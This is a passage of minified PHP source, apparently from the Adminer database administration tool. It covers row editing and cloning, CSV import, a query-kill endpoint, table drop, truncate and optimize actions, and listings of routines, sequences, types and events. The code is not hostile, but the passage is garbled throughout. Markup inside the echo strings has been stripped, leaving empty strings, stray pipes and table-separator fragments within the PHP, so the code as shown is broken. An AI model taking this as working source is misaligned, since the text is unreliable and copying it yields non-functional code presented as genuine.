as$A=>$X){$X=process_input($o[$A]);if($X!==null&&($_POST["clone"]||$X!==false))$O[idf_escape($A)]=($X!==false?$X:idf_escape($A));}}if($_POST["delete"]||$O){if($_POST["clone"])$F="INTO ".table($a)." (".implode(", ",array_keys($O)).")\nSELECT ".implode(", ",$O)."\nFROM ".table($a);if($_POST["all"]||($rh&&is_array($_POST["check"]))||$Re){$G=($_POST["delete"]?$l->delete($a,$wk):($_POST["clone"]?queries("INSERT $F$wk"):$l->update($a,$O,$wk)));$Ea=$g->affected_rows;}else{foreach((array)$_POST["check"]as$X){$sk="\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$o);$G=($_POST["delete"]?$l->delete($a,$sk,1):($_POST["clone"]?queries("INSERT".limit1($a,$F,$sk)):$l->update($a,$O,$sk,1)));if(!$G)break;$Ea+=$g->affected_rows;}}}$Hf=lang(248,$Ea);if($_POST["clone"]&&$G&&$Ea==1){$if=last_id();if($if)$Hf=lang(166," $if");}queries_redirect(remove_from_uri($_POST["all"]&&$_POST["delete"]?"page":""),$Hf,$G);if(!$_POST["delete"]){edit_form($a,$o,(array)$_POST["fields"],!$_POST["clone"]);page_footer();exit;}}elseif(!$_POST["import"]){if(!$_POST["val"])$m=lang(249);else{$G=true;$Ea=0;foreach($_POST["val"]as$Rj=>$I){$O=array();foreach($I
as$x=>$X){$x=bracket_escape($x,1);$O[idf_escape($x)]=(preg_match('~char|text~',$o[$x]["type"])||$X!=""?$b->processInput($o[$x],$X):"NULL");}$G=$l->update($a,$O," WHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($Rj,$o),!$Re&&!$rh," ");if(!$G)break;$Ea+=$g->affected_rows;}queries_redirect(remove_from_uri(),lang(248,$Ea),$G);}}elseif(!is_string($Ed=get_file("csv_file",true)))$m=upload_error($Ed);elseif(!preg_match('~~u',$Ed))$m=lang(250);else{cookie("adminer_import","output=".urlencode($Da["output"])."&format=".urlencode($_POST["separator"]));$G=true;$Ib=array_keys($o);preg_match_all('~(?>"[^"]*"|[^"\r\n]+)+~',$Ed,$_f);$Ea=count($_f[0]);$l->begin();$M=($_POST["separator"]=="csv"?",":($_POST["separator"]=="tsv"?"\t":";"));$J=array();foreach($_f[0]as$x=>$X){preg_match_all("~((?>\"[^\"]*\")+|[^$M]*)$M~",$X.$M,$Af);if(!$x&&!array_diff($Af[1],$Ib)){$Ib=$Af[1];$Ea--;}else{$O=array();foreach($Af[1]as$r=>$Db)$O[idf_escape($Ib[$r])]=($Db==""&&$o[$Ib[$r]]["null"]?"NULL":q(str_replace('""','"',preg_replace('~^"|"$~','',$Db))));$J[]=$O;}}$G=(!$J||$l->insertUpdate($a,$J,$rh));if($G)$G=$l->commit();queries_redirect(remove_from_uri("page"),lang(251,$Ea),$G);$l->rollback();}}}$Xi=$b->tableName($S);if(is_ajax()){page_headers();ob_start();}else
page_header(lang(52).": $Xi",$m);$O=null;if(isset($ai["insert"])||!support("table")){$O="";foreach((array)$_GET["where"]as$X){if($Vd[$X["col"]]&&count($Vd[$X["col"]])==1&&($X["op"]=="="||(!$X["op"]&&!preg_match('~[_%]~',$X["val"]))))$O.="&set".urlencode("[".bracket_escape($X["col"])."]")."=".urlencode($X["val"]);}}$b->selectLinks($S,$O);if(!$e&&support("table"))echo"".lang(252).($o?".":": ".error())."\n";else{echo" \n";$D=$_GET["page"];if($D=="last"){$Yd=$g->result(count_rows($a,$Z,$Re,$fe));$D=floor(max(0,$Yd-1)/$y);}$mi=$L;$ge=$fe;if(!$mi){$mi[]="*";$Wb=convert_fields($e,$o,$L);if($Wb)$mi[]=substr($Wb,2);}foreach($L
as$x=>$X){$n=$o[idf_unescape($X)];if($n&&($Na=convert_field($n)))$mi[$x]="$Na AS $X";}if(!$Re&&$Tj){foreach($Tj
as$x=>$X){$mi[]=idf_escape($x);if($ge)$ge[]=idf_escape($x);}}$G=$l->select($a,$mi,$Z,$ge,$Ag,$y,$D,true);if(!$G)echo"".error()."\n";else{if($w=="mssql"&&$D)$G->seek($y*$D);$ad=array();echo" \n",(!$fe&&$L?"":script("tableCheck();"));}}}if(is_ajax()){ob_end_clean();exit;}}elseif(isset($_GET["variables"])){$P=isset($_GET["status"]);page_header($P?lang(116):lang(115));$ik=($P?show_status():show_variables());if(!$ik)echo"".lang(12)."\n";else{echo" \n";foreach($ik
as$x=>$X){echo"","".h($x)." "," | ".h($X);}echo" | \n";}}elseif(isset($_GET["script"])){header("Content-Type: text/javascript; charset=utf-8");if($_GET["script"]=="db"){$Ui=array("Data_length"=>0,"Index_length"=>0,"Data_free"=>0);foreach(table_status()as$A=>$S){json_row("Comment-$A",h($S["Comment"]));if(!is_view($S)){foreach(array("Engine","Collation")as$x)json_row("$x-$A",h($S[$x]));foreach($Ui+array("Auto_increment"=>0,"Rows"=>0)as$x=>$X){if($S[$x]!=""){$X=format_number($S[$x]);json_row("$x-$A",($x=="Rows"&&$X&&$S["Engine"]==($Gi=="pgsql"?"table":"InnoDB")?"~ $X":$X));if(isset($Ui[$x]))$Ui[$x]+=($S["Engine"]!="InnoDB"||$x!="Data_free"?$S[$x]:0);}elseif(array_key_exists($x,$S))json_row("$x-$A");}}}foreach($Ui
as$x=>$X)json_row("sum-$x",format_number($X));json_row("");}elseif($_GET["script"]=="kill")$g->query("KILL ".number($_POST["kill"]));else{foreach(count_tables($b->databases())as$k=>$X){json_row("tables-$k",$X);json_row("size-$k",db_size($k));}json_row("");}exit;}else{$dj=array_merge((array)$_POST["tables"],(array)$_POST["views"]);if($dj&&!$m&&!$_POST["search"]){$G=true;$Hf="";if($w=="sql"&&$_POST["tables"]&&count($_POST["tables"])>1&&($_POST["drop"]||$_POST["truncate"]||$_POST["copy"]))queries("SET foreign_key_checks = 0");if($_POST["truncate"]){if($_POST["tables"])$G=truncate_tables($_POST["tables"]);$Hf=lang(262);}elseif($_POST["move"]){$G=move_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$Hf=lang(263);}elseif($_POST["copy"]){$G=copy_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$Hf=lang(264);}elseif($_POST["drop"]){if($_POST["views"])$G=drop_views($_POST["views"]);if($G&&$_POST["tables"])$G=drop_tables($_POST["tables"]);$Hf=lang(265);}elseif($w!="sql"){$G=($w=="sqlite"?queries("VACUUM"):apply_queries("VACUUM".($_POST["optimize"]?"":" ANALYZE"),$_POST["tables"]));$Hf=lang(266);}elseif(!$_POST["tables"])$Hf=lang(9);elseif($G=queries(($_POST["optimize"]?"OPTIMIZE":($_POST["check"]?"CHECK":($_POST["repair"]?"REPAIR":"ANALYZE")))." TABLE ".implode(", ",array_map('idf_escape',$_POST["tables"])))){while($I=$G->fetch_assoc())$Hf.="".h($I["Table"]).": ".h($I["Msg_text"])." ";}queries_redirect(substr(ME,0,-1),$Hf,$G);}page_header(($_GET["ns"]==""?lang(36).": ".h(DB):lang(77).": ".h($_GET["ns"])),$m,true);if($b->homepage()){if($_GET["ns"]!==""){echo"".lang(267)."\n";$cj=tables_list();if(!$cj)echo"".lang(9)."\n";else{echo" \n",script("tableCheck();");}echo''.lang(73)."\n",(support("view")?''.lang(202)."\n":"");if(support("routine")){echo" ".lang(141)."\n";$ei=routines();if($ei){echo"\n",''.lang(181).' | '.lang(48).' | '.lang(220)." | | \n";odd('');foreach($ei
as$I){$A=($I["SPECIFIC_NAME"]==$I["ROUTINE_NAME"]?"":"&name=".urlencode($I["ROUTINE_NAME"]));echo'',''.h($I["ROUTINE_NAME"]).'',' | '.h($I["ROUTINE_TYPE"]),' | '.h($I["DTD_IDENTIFIER"]),' | '.lang(134)."";}echo" | \n";}echo''.(support("procedure")?''.lang(218).'':'').''.lang(217)."\n";}if(support("sequence")){echo" ".lang(284)."\n";$si=get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema() ORDER BY sequence_name");if($si){echo"\n","".lang(181)." | \n";odd('');foreach($si
as$X)echo"".h($X)."\n";echo" |
---|
\n";}echo"".lang(225)."\n";}if(support("type")){echo" ".lang(24)."\n";$dk=types();if($dk){echo"\n","".lang(181)." | \n";odd('');foreach($dk
as$X)echo"".h($X)."\n";echo" |
---|
\n";}echo"".lang(229)."\n";}if(support("event")){echo" ".lang(142)."\n";$J=get_rows("SHOW EVENTS");if($J){echo"\n","".lang(181)." | ".lang(285)." | ".lang(208)." | ".lang(209)." | | \n";foreach($J
as$I){echo"","".h($I["Name"])," | ".($I["Execute at"]?lang(286)." | ".$I["Execute at"]:lang(210)." ".$I["Interval value"]." ".$I["Interval field"]." | $I[Starts]")," | $I[Ends]",' | '.lang(134).'';}echo" | \n";$id=$g->result("SELECT @@event_scheduler");if($id&&$id!="ON")echo"event_scheduler : ".h($id)."\n";}echo'
'.lang(207)."\n";}if($cj)echo
script("ajaxSetHtml('".js_escape(ME)."script=db');");}}}page_footer(); |